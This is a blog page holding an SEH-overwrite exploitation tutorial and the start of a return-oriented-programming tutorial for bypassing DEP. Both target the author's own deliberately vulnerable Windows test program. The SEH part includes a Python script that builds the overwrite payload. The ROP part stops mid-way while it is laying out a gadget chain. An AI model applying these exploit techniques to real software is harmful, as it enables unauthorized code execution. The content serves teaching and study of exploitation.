<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc42TAo2owpY0ZyxxnwVekLQjc9anN1L7B3xgVKS5GaBdwW10mE67D5Jj9VQHS-cdRf4UWm2vUjolLhfYB2zbHPVq-6h4ibrJI70CSg-5b7b86JTYWfyT3anL_FfJdUgqs47orVCTrM6g/s1600/seh_first_entry.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc42TAo2owpY0ZyxxnwVekLQjc9anN1L7B3xgVKS5GaBdwW10mE67D5Jj9VQHS-cdRf4UWm2vUjolLhfYB2zbHPVq-6h4ibrJI70CSg-5b7b86JTYWfyT3anL_FfJdUgqs47orVCTrM6g/s1600/seh_first_entry.png" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
The exception handler pointer located at 0x18FF28, just four bytes above the pointer to next entry in SEH chain (which points to 0x18FF78). I will follow the chain to show you how it looks. Next entry located at 0x18FF78:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYcJvEpktJdyEyyEinU-JIYe2tPgf7yB21wVXpVtFJJZJiGVgFhXJahQy3xxMioPxPPvDuswDPIlJOilu2KVX3VjE4Lt5nqN0fshZj25MPUlRibUvP9fhnKPNKZW2L9C77eIM4fFY4Vsg/s1600/next_seh_entry.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYcJvEpktJdyEyyEinU-JIYe2tPgf7yB21wVXpVtFJJZJiGVgFhXJahQy3xxMioPxPPvDuswDPIlJOilu2KVX3VjE4Lt5nqN0fshZj25MPUlRibUvP9fhnKPNKZW2L9C77eIM4fFY4Vsg/s1600/next_seh_entry.png" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
As previously, we find the same structure here: at 0x18FF78 pointer to the next entry in the chain, and four bytes below located this entry's exception handler. Let's proceed to 0x18FFC4:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4GlCX_HFqI8V5sfxLHKeI8kASW0LWqHZNqBl5hGmr6D1YNNPmUs8lHvqnN2Q1nZJ3-emQ00IeajM4GB0LnHPJugTeKpgp2kFXzhAOqMFAeVTPYNyDDFUrr1nYRfIluA7qXCejJHKHmK4/s1600/seh_last_entry.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4GlCX_HFqI8V5sfxLHKeI8kASW0LWqHZNqBl5hGmr6D1YNNPmUs8lHvqnN2Q1nZJ3-emQ00IeajM4GB0LnHPJugTeKpgp2kFXzhAOqMFAeVTPYNyDDFUrr1nYRfIluA7qXCejJHKHmK4/s1600/seh_last_entry.png" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
0x18FFC4 contains 0xFFFFFFFF value, which means that this is the last entry in SEH linked list, and the 0x77DE1ECD is OS default exception handler address.<br />
<br />
<b><span style="font-size: large;"> The Exploit</span></b><br />
<br />
First of all, I will cause stack buffer overflow with intent of overwriting the exception handler's address. I will use Metasploit's pattern_create.rb tool to generate a string of non-repeating characters and pattern_offset.rb tool to determine the exact exception handler offset.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc2plyDNi2vIsMCCtDk1nq8GsVu4_u4U0a7-PZp0jR19jfE_Ecatt960qxnFLCkaQ1XTVcCzhOoCOS8bD9vYaV22Hy-NwgzY9pfD-1A7t2k9M6b_SR_MUceDfdmpBn_N1ZYHilf3K2jkE/s1600/100pattern.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="119" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgc2plyDNi2vIsMCCtDk1nq8GsVu4_u4U0a7-PZp0jR19jfE_Ecatt960qxnFLCkaQ1XTVcCzhOoCOS8bD9vYaV22Hy-NwgzY9pfD-1A7t2k9M6b_SR_MUceDfdmpBn_N1ZYHilf3K2jkE/s640/100pattern.png" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
I specified this file name as a parameter to our program.<br />
The stack was smashed with this 100-characters long string. atoi function returned 0, since no valid conversion could be performed. This causes the EXCEPTION_INT_DIVIDE_BY_ZERO exception in IDIV instruction at 0x401086:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUqZ3VmvuoloXma62rArj9T9eBh5-X4m_GIOy7CpeDQTjvscJYZZksFIh7Il0R3dVyZXy2mLDH0PtVC08RT1S7P2xLNxq7FzJ4hXuVI8jfNfKX-K8UE746SOaMU1oPiXW3rq6lhyphenhyphenNyvyE/s1600/exception_handling.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUqZ3VmvuoloXma62rArj9T9eBh5-X4m_GIOy7CpeDQTjvscJYZZksFIh7Il0R3dVyZXy2mLDH0PtVC08RT1S7P2xLNxq7FzJ4hXuVI8jfNfKX-K8UE746SOaMU1oPiXW3rq6lhyphenhyphenNyvyE/s1600/exception_handling.png" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Once I pressed on Yes button, the SEH mechanism found the address pointed by FS:[0], and tried to jump to this entry's exception handler's address (recall - it is located 4 bytes above the SEH entry pointer).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjRLIdRmEaakZIuSE1eTMDbs2yW4AhGUej0nxB8oCA4uTb-Gr5NEfcIi6lQPp6WBZwuXY_aCEP0JKAMAVZI64lwEs-yPgjpoqMOSfaF9w67FeCyaQ5CSAXn_dzVJN8K9woS-XKMxpcI3Q/s1600/memory_could_not_be_read.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjRLIdRmEaakZIuSE1eTMDbs2yW4AhGUej0nxB8oCA4uTb-Gr5NEfcIi6lQPp6WBZwuXY_aCEP0JKAMAVZI64lwEs-yPgjpoqMOSfaF9w67FeCyaQ5CSAXn_dzVJN8K9woS-XKMxpcI3Q/s1600/memory_could_not_be_read.png" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
But it contains random value, because I previously overwrote it. Program execution terminates here.<br />
The 0x31624130 value symbolizes the exception handler placeholder. Converting it to ASCII gives the "0Ab1" substring.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiplZvVM9eRItQiu9Fd4FbhtzTHNgSIaW7BHE-ZUiHoM-dOOx5b5Cyh7E5t1edHcOpEOjDGt6kzEOWZqg0a9a_nVl5gnlqz-Pv4jdlBB0gcz3yMCsAe-pY2udHYC3oV3Sw_nXfthUMfZn4/s1600/pattern_offset.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="91" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiplZvVM9eRItQiu9Fd4FbhtzTHNgSIaW7BHE-ZUiHoM-dOOx5b5Cyh7E5t1edHcOpEOjDGt6kzEOWZqg0a9a_nVl5gnlqz-Pv4jdlBB0gcz3yMCsAe-pY2udHYC3oV3Sw_nXfthUMfZn4/s640/pattern_offset.png" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
So the exception handler offset is 32 characters. Now I know how to jump to another instruction. But where I should jump? Let's analyze the registers and the stack:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMOfloGMNEuTTfQSR5qEtmH6LUgbbY5DsMpwHTUTRAdRPZfdsItQsSXpcFsnoDxq1ORNf05rYCjWdYMPQfntTMMbmZaDZzxh09r5xdyo_8qOk3_HnMQer-QVjC0ZCV5uDgv5EvilwW-YY/s1600/registers.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMOfloGMNEuTTfQSR5qEtmH6LUgbbY5DsMpwHTUTRAdRPZfdsItQsSXpcFsnoDxq1ORNf05rYCjWdYMPQfntTMMbmZaDZzxh09r5xdyo_8qOk3_HnMQer-QVjC0ZCV5uDgv5EvilwW-YY/s1600/registers.png" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
I can't use the classic "JMP R32" instruction, because none of the registers point on the shellcode's area (the shellcode I wrote resides at approximately 0x18FF00).<br />
Let's look at the stack:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJjobiJffcILIUmzO_iT81cUrkJmisigjTrXRUVBeV14fOtZQp9C8wMc1sGPxf6Y3MoOHo_RxNkvsO2K4CLewL6p4X7V7xR_iO6jMvPluKpcHBimzasE2NwRKbMpBO3SvAuC_c5Ndw2M8/s1600/stack_after_exc.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJjobiJffcILIUmzO_iT81cUrkJmisigjTrXRUVBeV14fOtZQp9C8wMc1sGPxf6Y3MoOHo_RxNkvsO2K4CLewL6p4X7V7xR_iO6jMvPluKpcHBimzasE2NwRKbMpBO3SvAuC_c5Ndw2M8/s1600/stack_after_exc.png" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<span style="background-color: white;"><br />
</span><br />
Do you see what is the value at 0x18FAE4? You're right! This is the address of our SEH entry (0x18FF24). Coincidence!? NO!!<br />
Once exception occurred in the system, exception dispatcher calls the first specified exception handler and passes to it parameters. The second parameter is EstablisherFrame, which holds the address of exception registration record.<br />
<br />
So I should overwrite exception handler routine's address with a pointer to POP R32 + POP R32 + RET instruction sequence.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEit64C6hwBJAXq4H9HhDqPuo9HF7UurSeCgHscxBc3ZRYkVFJ3_dYoz5SG2xrAXHmN3_Pt0-edQNMG_SnPnR4GJ70ysoX6iQxu0q5m-_QqHKU9Z9VOitaE4COt9lb-5xlRXCBPbxQr1jBQ/s1600/find_sequence.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEit64C6hwBJAXq4H9HhDqPuo9HF7UurSeCgHscxBc3ZRYkVFJ3_dYoz5SG2xrAXHmN3_Pt0-edQNMG_SnPnR4GJ70ysoX6iQxu0q5m-_QqHKU9Z9VOitaE4COt9lb-5xlRXCBPbxQr1jBQ/s320/find_sequence.png" width="320" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
OllyDbg finds the following sequence at 0x4012AD in program's module:<br />
POP ECX<br />
POP ECX<br />
RETN<br />
<br />
As I wrote before, this sequence will eventually jump to the address stored in the exception registration record. I will overwrite it with jump 6 bytes forward - right after the exception handling routine address.<br />
<br />
Great! Let's summarize it into a shell script. The buffer will contain 28 characters (32 is the offset we found previously - 4 bytes of exception registration record overwrite).<br />
<br />
<pre style="background-attachment: initial; background-clip: initial; background-color: #f0f0f0; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; border-image: initial; border-left-color: rgb(204, 204, 204); border-left-style: dashed; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: dashed; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: dashed; border-top-width: 1px; color: black; height: auto; overflow-x: auto; overflow-y: auto; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; width: 644px;"><span style="font-size: 12px; line-height: 20px;">#!/usr/bin/python
buffer = 'a' * 28
addr1 = "%c%c%c%c" % (0xeb, 0x06, 0x90, 0x90)
addr2 = "%c%c%c%c" % (0xad, 0x12, 0x40, 0x00)
shellcode = open('shellcode.txt', 'wb')
shellcode.write(buffer + addr1 + addr2)
shellcode.close()
</span></pre>
<br />
<b><span style="font-size: large;">The Result</span></b><br />
<br />
This is how the stack looks right after the call to fread function:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfOcd9uYoL54HIN6-oNMwYHpYGavgT69liGF1RZ5GgGD35HxtM4jAxHVkUUaDMFLT8IBBANftY2Kl1dmtsyrWxaI2zTQb_-twqBt_x-3zylpggWAGtSS6Br1taajXXSJuESG2u1YBMbFg/s1600/final_overwrite.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfOcd9uYoL54HIN6-oNMwYHpYGavgT69liGF1RZ5GgGD35HxtM4jAxHVkUUaDMFLT8IBBANftY2Kl1dmtsyrWxaI2zTQb_-twqBt_x-3zylpggWAGtSS6Br1taajXXSJuESG2u1YBMbFg/s1600/final_overwrite.png" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Same exception handling dialog appears again:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEvrv8V6lcCOhq8EORrytQqOg-lLwCG6KcFNfkceVXbxjtqqnjVbMOEgVJct8Pr_hqS6viwCNUzAgMqHCiZ-7dZ41IvtPdywA9v2s96zC4uObEbctpftfPemrwCpGxrvkxtotYrJAabJk/s1600/2nd_exception_handler.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEvrv8V6lcCOhq8EORrytQqOg-lLwCG6KcFNfkceVXbxjtqqnjVbMOEgVJct8Pr_hqS6viwCNUzAgMqHCiZ-7dZ41IvtPdywA9v2s96zC4uObEbctpftfPemrwCpGxrvkxtotYrJAabJk/s1600/2nd_exception_handler.png" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
But this time it jumps to 0x4012AD (the overwritten exception handling routine), which in turn jumps to 0x18FF24 (the overwritten exception registration record). The JMP 6h will jump to 0x18FF2C, where I can write any shellcode that I want.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioNql_TsBbXLOqhAfLZvQvGSqqmFtvz92HYfF2JqQI0pZMw5Ax__fD2RjFo6Nc-nDE68juzbzoaHo445YPG80oK-mgeSAkarEJICJtJS8q03maCWa9u5Jp9f7sxVpzbaAsZifctIQV3kE/s1600/final_stackview.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioNql_TsBbXLOqhAfLZvQvGSqqmFtvz92HYfF2JqQI0pZMw5Ax__fD2RjFo6Nc-nDE68juzbzoaHo445YPG80oK-mgeSAkarEJICJtJS8q03maCWa9u5Jp9f7sxVpzbaAsZifctIQV3kE/s1600/final_stackview.png" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
For additional reading:<br />
<a href="http://www.corelan.be:8800/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/" target="_blank">Corelan's SEH Exploit tutorial</a> and <a href="http://www.youtube.com/watch?v=FYmfYOOrQ00" target="_blank">same tutorial on YouTube</a><br />
<a href="http://resources.infosecinstitute.com/seh-exploit/" target="_blank">Stephen Bradshaw SEH Exploit on InfoSec</a><br />
<a href="http://blogs.technet.com/b/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwrites-with-sehop.aspx" target="_blank">TechNet article</a><br />
<br /></div>Alex Lipovhttp://www.blogger.com/profile/09962549203753762135noreply@blogger.com0tag:blogger.com,1999:blog-2077468458710225908.post-4624480396745760852012-04-14T23:22:00.012+03:002015-03-28T21:41:49.782+03:00Return-Oriented Programming (ROP) Exploit ExampleIn this post I will show a simple vulnerability exploitation example using return-oriented programming (ROP) technique.<br />
<br />
<br />
<b>Motivation</b><br />
<br />
You found stack buffer overflow vulnerability in a program, but the target environment protected with <a href="http://en.wikipedia.org/wiki/Data_Execution_Prevention#Hardware_enforcement" target="_blank">Hardware-enforced Data Execution Prevention (DEP) </a>mechanism. Briefly speaking, this security feature allows marking certain parts of memory as non-executable, i.e. stack or heap memory pages.<br />
<br />
Therefore you can't just overwrite the saved <i><span style="color: #ea9999;">eip</span></i> address with <i><span style="color: #ea9999;">jmp esp</span></i> instruction and execute the shellcode from the stack (attempting to run code from the stack will cause a <i><span style="color: #ea9999;">STATUS_ACCESS_VIOLATION</span></i> exception).<br />
<br />
<br />
<b>Return-Oriented Programming (ROP) technique</b><br />
<br />
This technique uses existing instruction sequences from loaded modules. No function calls, no any other intentionally placed instructions execution! Because all the executed instructions are located at executable memory pages, this allows us to bypass Hardware-enforced DEP mechanisms.<br />
<br />
<span style="color: #ea9999;">Shacham et al.</span> state that ROP, given any sufficiently large codebase to draw on, is a Turing-complete exploit language, which means that it can simulate any other language.<br />
More information, including historical facts and detailed explanation, can be found in <a href="https://www.blackhat.com/presentations/bh-usa-08/Shacham/BH_US_08_Shacham_Return_Oriented_Programming.pdf" target="_blank">these slides</a>. <br />
<br />
<a name='more'></a><b><br />
</b> <b>The Goal</b><br />
<br />
For the sake of simplicity, I will assume that there's a vulnerability which allows us to overwrite saved <i><span style="color: #ea9999;">eip</span></i> using regular stack buffer overflow (read: no <a href="http://alexlipov.blogspot.com/2012/02/understanding-vs-c-compilers-buffer.html" target="_blank">stack canary protection</a> applied). I will take control over program flow, echo the "You have been hacked" string using <i><span style="color: #ea9999;">system</span></i> function and exit the program. Note that ROP not limited to <i><span style="color: #ea9999;">system</span></i> function in order to execute attacker code - I will just use it to simplify the example.<br />
<br />
<br />
<b>The Preparations</b><br />
<br />
I will use the Wikipedia stack buffer overflow <a href="http://en.wikipedia.org/wiki/Stack_buffer_overflow#Exploiting_stack_buffer_overflows" target="_blank">example program</a> as a vulnerable target, with a slight difference: instead of <i><span style="color: #ea9999;">strcpy</span></i> function, I will use <span style="color: #ea9999;"><i>fread</i></span> - just to make it more convenient for testing:<br />
<br />
<script src="https://gist.github.com/alipov/c4bae95b775adcfa1b8e.js"></script><br />
Note: I'm using Windows 7 64-bit with Visual Studio 2010.<br />
Before compiling the project, I've set the following options:<br />
<ol>
<li><i><span style="color: #ea9999;">/GS</span></i> flag should be set to <i><span style="color: #ea9999;">NO</span></i> [from Project Properties > C/C++ > Code Generation > Buffer Security Check > set to No (/GS-))\]. By that I'm disabling the stack canary protection.</li>
<li><i><span style="color: #ea9999;">/NXCOMPAT</span></i> should be set to <span style="color: #ea9999;">YES</span> [from Project Properties > Linker > Advanced > Data Execution Prevention > set to Yes (/NXCOMPAT)]. This setting enabling the DEP protection.</li>
<li><i><span style="color: #ea9999;">Optimization</span></i> disabling [from Project Properties > C/C++ > set both Optimization and Inline Function Expansion to Disabled], so the compiler will generate exact instructions for our program.</li>
</ol>
Compile the program with Release configuration, and open the executable with OllyDbg. The following executable modules should appear:<br />
<div class="separator" style="clear: both; text-align: -webkit-auto;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUf-mu_OCKBiUWQMHpYKcBHMPdLgJ117uTlcRA1LWUBUZR_XBoxRPH3e-RBE3b2QAB_hiAZIPvuzbdrFZ50uGx1hO2IFrWfESTsgVMynFK5c6I5ebfrqTdlqSVxpwTwNS6Hq8VBxg4mgM/s1600/modules.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUf-mu_OCKBiUWQMHpYKcBHMPdLgJ117uTlcRA1LWUBUZR_XBoxRPH3e-RBE3b2QAB_hiAZIPvuzbdrFZ50uGx1hO2IFrWfESTsgVMynFK5c6I5ebfrqTdlqSVxpwTwNS6Hq8VBxg4mgM/s1600/modules.png" /></a></div>
<div class="separator" style="clear: both; text-align: -webkit-auto;">
Few notes on <a href="http://msdn.microsoft.com/en-us/library/abx4dbyh(v=vs.100).aspx" target="_blank">C run-time library</a>:</div>
<div class="separator" style="clear: both; text-align: -webkit-auto;">
</div>
<ul>
<li>I'm using Visual Studio 2010, so the library version is 10.0, but it can vary depending on Visual C++ compiler version.</li>
<li>If you compiled with Debug configuration, the referenced library will be MSVCR100D.dll (D stands for debug).</li>
</ul>
<br />
<b>Gadgets Strategy</b><br />
<div class="separator" style="clear: both; text-align: -webkit-auto;">
<br /></div>
<div class="separator" style="clear: both; text-align: -webkit-auto;">
Shacham et al coined the term <i><span style="color: #ea9999;">gadget</span></i> to name sequence of existing instructions ending with <i><span style="color: #ea9999;">ret</span></i> instruction which compose one logical unit. ROP is about creating a chain of gadgets (logical units) to accomplish the exploitation goal. For example if I need to copy <i><span style="color: #ea9999;">eax</span></i> value to <span style="color: #ea9999;"><i>ecx</i></span>, I will search for <i><span style="color: #ea9999;">mov eax, ecx + ret</span></i> sequence within existing modules, and the address of <i><span style="color: #ea9999;">mov eax,ecx</span></i> instruction will indicate the gadget's address.</div>
<div class="separator" style="clear: both; text-align: -webkit-auto;">
Continue to read the below example, and you will understand the principle.</div>
<div class="separator" style="clear: both; text-align: -webkit-auto;">
<br /></div>
<div class="separator" style="clear: both; text-align: -webkit-auto;">
This example's gadgets strategy will be as follows:</div>
<div class="separator" style="clear: both; text-align: -webkit-auto;">
</div>
<ol>
<li>Save the <i><span style="color: #ea9999;">esp</span></i>'s value into another register.</li>
<li>Prepare the parameters for the <i><span style="color: #ea9999;">system</span></i> function.</li>
<li>Call the <i><span style="color: #ea9999;">system</span></i> function.</li>
<li>Call the <i><span style="color: #ea9999;">exit</span></i> function to exit the program.</li>
</ol>
<div>
<b><br />
</b> <b>Searching for ROP gadgets</b><br />
<b><br />
</b></div>
<div>
I will use the simplest way to find gadgets. See <a href="http://redmine.corelan.be/projects/mona" target="_blank">Mona Project</a> (ex pvefindaddr) for more sophisticated technique.</div>
<div>
<br />
In OllyDbg, select the module you want to browse, right click within the module code view and select <span style="color: #ea9999;">Search for</span> > <span style="color: #ea9999;">All sequences</span>. The following dialog will show up:</div>
<div>
<br /></div>
<div style="text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY6YsBFZrF8A4eVR9bbFZcqOOeEz8QS_6Y_ssI93KZZA64VTiOHkmlIqgApBdZbkSSr6Dnlb1OvrK96UO83MIDp_bU0WLzjqTiItoNjfzf82yy_cD8oRfMTGm8Rza-3uKkyBK-_sHMVPs/s1600/findsequence.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img alt="" border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiY6YsBFZrF8A4eVR9bbFZcqOOeEz8QS_6Y_ssI93KZZA64VTiOHkmlIqgApBdZbkSSr6Dnlb1OvrK96UO83MIDp_bU0WLzjqTiItoNjfzf82yy_cD8oRfMTGm8Rza-3uKkyBK-_sHMVPs/s1600/findsequence.png" title="" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
The following commands available (found <a href="http://auntitled.blogspot.com/2010/12/use-ollydbg-to-find-rop-gadgets.html" target="_blank">here</a>):</div>
<div>
<ul>
<li><span style="color: #ea9999;">R8, R16, R32</span> for any 8, 16, 32 bit register respectively</li>
<li><span style="color: #ea9999;">CONST</span> for any constant</li>
<li><span style="color: #ea9999;">JCC</span> for any conditional jump</li>
<li><span style="color: #ea9999;">ANY N</span> for any 0..N commands</li>
<li>... and of course any assembly command</li>
</ul>
</div>
<div>
<b><u><br />
</u></b><br />
<b><u><br />
</u></b></div>
<div>
<b>The Exploit</b></div>
<div>
<br /></div>
<div>
<b><i>1. Saving the ESP value</i></b></div>
<div>
<br />
The best gadget for this task could be <i><span style="color: #ea9999;">mov r32, esp + ret</span></i>, but unfortunately none of the referenced modules include this sequence. Then I searched for <span style="color: #ea9999;"><i>push esp + pop r32 + ret</i></span>, but this sequence did not provide any results as well. I believe you already convinced that searching and creating gadget chains requires patience and erudition. Corelan even <a href="http://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/#thegadget" target="_blank">compares it</a> to solving Rubik's Cube.</div>
<div>
In the end I used the following search pattern:</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMt1XJRwu1SX5MyYeNQuZ3u8q_rIIJWOtMHyh7j7sYJQpyvhqzGT2wMt6nBXjD2wW6rDU5wzFzIiJk0lGK33I1auOvQfhug80gq_JQjcFDMdopZLWmmvR1KuEu8dBLhjrhgD9B5JZG7w8/s1600/leaespconst.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiMt1XJRwu1SX5MyYeNQuZ3u8q_rIIJWOtMHyh7j7sYJQpyvhqzGT2wMt6nBXjD2wW6rDU5wzFzIiJk0lGK33I1auOvQfhug80gq_JQjcFDMdopZLWmmvR1KuEu8dBLhjrhgD9B5JZG7w8/s1600/leaespconst.png" /></a></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
<br /></div>
<div>
and found this sequence in <span style="color: #ea9999;">msvcr100.dll</span> (let's call it <b><i><span style="color: #ea9999;">LEA EBP,[ESP+0Ch]</span></i></b> gadget):</div>
<div>
<blockquote class="tr_bq">
<span style="color: #ea9999;"><i>lea ebp, dword ptr ss:[esp+0Ch]</i></span><br />
<span style="color: #ea9999;"><i>push eax</i></span><br />
<span style="color: #ea9999;"><i>retn</i></span></blockquote>
Great! It's a bit inconvenient, but better than nothing. I will have to add extra instructions to accommodate with the <i><span style="color: #ea9999;">push eax</span></i> instruction in the middle, right? Well, let's think about this a bit.</div>
<div>
The stack will look like that before the jump to <i><span style="color: #ea9999;">lea</span></i> instruction's address (assuming 0x1000 is the stack address of saved <i><span style="color: #ea9999;">eip</span></i> value):</div>
<div>
<blockquote class="tr_bq">
<span style="color: #ea9999;"><i>0x1000 <b>LEA EBP,[ESP+0Ch]</b> gadget address</i></span><br />
<span style="color: #ea9999;"><i>0x1004 junk</i></span><br />
<span style="color: #ea9999;"><i>0x1008 junk</i></span></blockquote>
</div>
<div>
Let's follow the flow: we get to <i><span style="color: #ea9999;">ret</span></i> instruction that pops the <b><span style="color: #ea9999;">LEA EBP,[ESP+0Ch]</span></b> gadget's address from the stack and jumps to that location (<i><span style="color: #ea9999;">esp</span></i> increased to 0x1004 due to <span style="color: #ea9999;"><i>pop</i></span>); then <span style="color: #ea9999;"><i>esp+0Ch</i></span> address computed and stored in <i><span style="color: #ea9999;">ebp</span></i>; then <i><span style="color: #ea9999;">push eax</span></i> decreases the <i><span style="color: #ea9999;">esp</span></i> to 0x1000 and copies its value (some unknown garbage) to 0x1000. But note what happen next - <i><span style="color: #ea9999;">retn</span></i> instruction pops the value from the stack (<i><span style="color: #ea9999;">eax</span></i>'s unknown garbage) and jumps to that location. Not good!</div>
<div>
We have to initialize the <i><span style="color: #ea9999;">eax</span></i> with a valid address - the search pattern <i><span style="color: #ea9999;">pop eax + ret</span></i> retrieved many matches (I chose one from <span style="color: #ea9999;">msvcr100.dll</span>).</div>
<div>
<br /></div>
<div>
Let's summarize the desired stack view at this point:</div>
<div>
<blockquote class="tr_bq">
<span style="color: #ea9999;"><i>0x1000 <b>POP EAX</b> gadget address (saved EIP value)</i></span><br />
<span style="color: #ea9999;"><i>0x1004 RET address (any RET instruction address - will be popped to EAX and used to increment the ESP)</i></span><br />
<span style="color: #ea9999;"><i>0x1008 <b>LEA EBP,[ESP+0Ch]</b> gadget address</i></span></blockquote>
</div>
<div>
